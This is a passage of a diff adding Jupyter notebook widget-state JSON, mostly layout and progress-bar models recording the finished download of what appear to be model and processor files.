+        "79b1b7bd05714b528d9a617b1c875dfe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7a47a1e4f4ef448e83659bf90c874eda": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_61e2139115904b94967c220fd214b5df",
+              "IPY_MODEL_846c2df4629c416baea2612ea2c84a16",
+              "IPY_MODEL_206b5b9596ff43b68126735ad6b31929"
+            ],
+            "layout": "IPY_MODEL_25d01861ca0c45d3a5f57932d9754834"
+          }
+        },
+        "7aed2e247f5e488991be8b97ab6bae6a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f8b042b72ea1403284bc45b55cbfcdcf",
+              "IPY_MODEL_9dcbc2386e3c4d6e820fd6baed91f0df",
+              "IPY_MODEL_67768915a19a448c94620204f861d005"
+            ],
+            "layout": "IPY_MODEL_a218d578aded48ba8acca854622c14a9"
+          }
+        },
+        "7afd5032c0964fc5823189e2fc8599ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c9311122d93c495faa2a8e0f4b8f7662",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_58657e2570434d73be122eafb42f490a",
+            "value": 20
+          }
+        },
+        "7b0ece2c75614540a942214d1f527f91": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7b9508943bee4f76b996ba561d4bbe9b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7bee130b66754bbc85e8454455ece425": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7c2b45b1cf2a485b93e52b2dee04a278": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7cd3b5a0ce274ae5b5954a3c7d9d3bb4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f357992a28754d7689721ebda28f0b0f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2f8938d9a9254868869767a332bdf84f",
+            "value": " 20/20 [00:03&lt;00:00,  6.92it/s]"
+          }
+        },
+        "7d10f1e6258943dd86d9c75aa17553c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_193fa11998404439b90913f5f5b4619e",
+              "IPY_MODEL_0383c8a7e3384eec9205dc8f37654ee4",
+              "IPY_MODEL_4615b3c5ce674070840fbb7bcb54f262"
+            ],
+            "layout": "IPY_MODEL_b57f5b94be66435fab8e8aa9b877848c"
+          }
+        },
+        "7d6d17a2798c41c6b27c25e1057869a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7d9df7ed952144dfacc3d2908497ce94": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_7010861902ab409e9a4f65efad33683c",
+              "IPY_MODEL_978ecf658d464bc999bc8a5c540e3ad0",
+              "IPY_MODEL_198e8a1603fc40218d805d46da1cc603"
+            ],
+            "layout": "IPY_MODEL_ee7d2281e6964da8a3e610343a7de76d"
+          }
+        },
+        "7db99c4ea5e14e9bb5180a5beb4cc142": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7e03365b6d25414eb845c51aa30e3d2c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7e5f077830e94e278b213ee5f11739d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7efd39ed94f94ecd9292069da0697a5f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7f1b3b31059e4abbbe62bd88da98627d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0ee14dea902c4efe81c616f34dbc7562",
+              "IPY_MODEL_e43b78d4e4844565ad39e979861285a8",
+              "IPY_MODEL_9ba3483798e8439aab7d5560c1a5bac1"
+            ],
+            "layout": "IPY_MODEL_993b867eff394cfe843eb18ee194b8d6"
+          }
+        },
+        "7f27d4dadc2a4c4783f35193cf085593": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6d8e99610d624a09a53ef0c77b3f0c25",
+            "max": 547,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b9df58ad481f414f8240ce076cf53363",
+            "value": 547
+          }
+        },
+        "7f36f3521fa14a37b0fad0702bf9a4e3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7f49c5a346894250ad0587fa3420635a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c318de49fe3a455992738cf20f7099ad",
+              "IPY_MODEL_3ff34cbabc564abebd12a9e5e19786b0",
+              "IPY_MODEL_611bde262a924746a253ab5481b9b212"
+            ],
+            "layout": "IPY_MODEL_3ae595d0044944ea959d949d8c68d509"
+          }
+        },
+        "810aba56f12342fcbcb7344d08235ec8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bf52593db97e4b5f876d22d5c27e8c0d",
+            "max": 209267595,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ed79049f4f3a41899ce7744c6733bf27",
+            "value": 209267595
+          }
+        },
+        "8119e3c1840d4e0b975055cb0c255208": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "814f29773b6b40d99d03320a3f5fe7d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_36de2037f4b841afb366f27a7eb08396",
+            "placeholder": "​",
+            "style": "IPY_MODEL_cb805d94485c4ff5a0aaec67e6cdb827",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "81b870c0f0b6482a9f1dbd3fac0d935c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "81f9fd794d22477f8836a11322d5325b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "83067a7d3f454087ac1de91bf17c7339": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8328f2c010f4426fbfef22482701f516": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "834aa09c8e984c819849676acdf25dae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "838cb3152f3c48ec814de02def9b75f2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "83b4c17fa697445f86f7f034fe670934": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_707ce79ce0da4f35ad6b8f636d2901f8",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_261aabd2415d43809b669b49f3899504",
+            "value": 20
+          }
+        },
+        "83cb84140f504cdaa6d5ed308baaa9bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_75837fa1f8ed4a7b8734f0c49e3bb6d0",
+            "max": 1445157124,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_527478832a8e451ea056c50ee2b241ab",
+            "value": 1445157124
+          }
+        },
+        "846c2df4629c416baea2612ea2c84a16": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_71b5693eda974ad78235b59d848304ab",
+            "max": 617,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_35aa99e07e7d469ba9a46d80bb9908bb",
+            "value": 617
+          }
+        },
+        "8477b0d8ae344f78ba17f537e0e2448f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "847b736c058c47f9adf366c4bb920a0d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "848755aa7d4a4889b85870aac916c5ff": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "84e8bc8164b948d8897a8637c226ef1c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
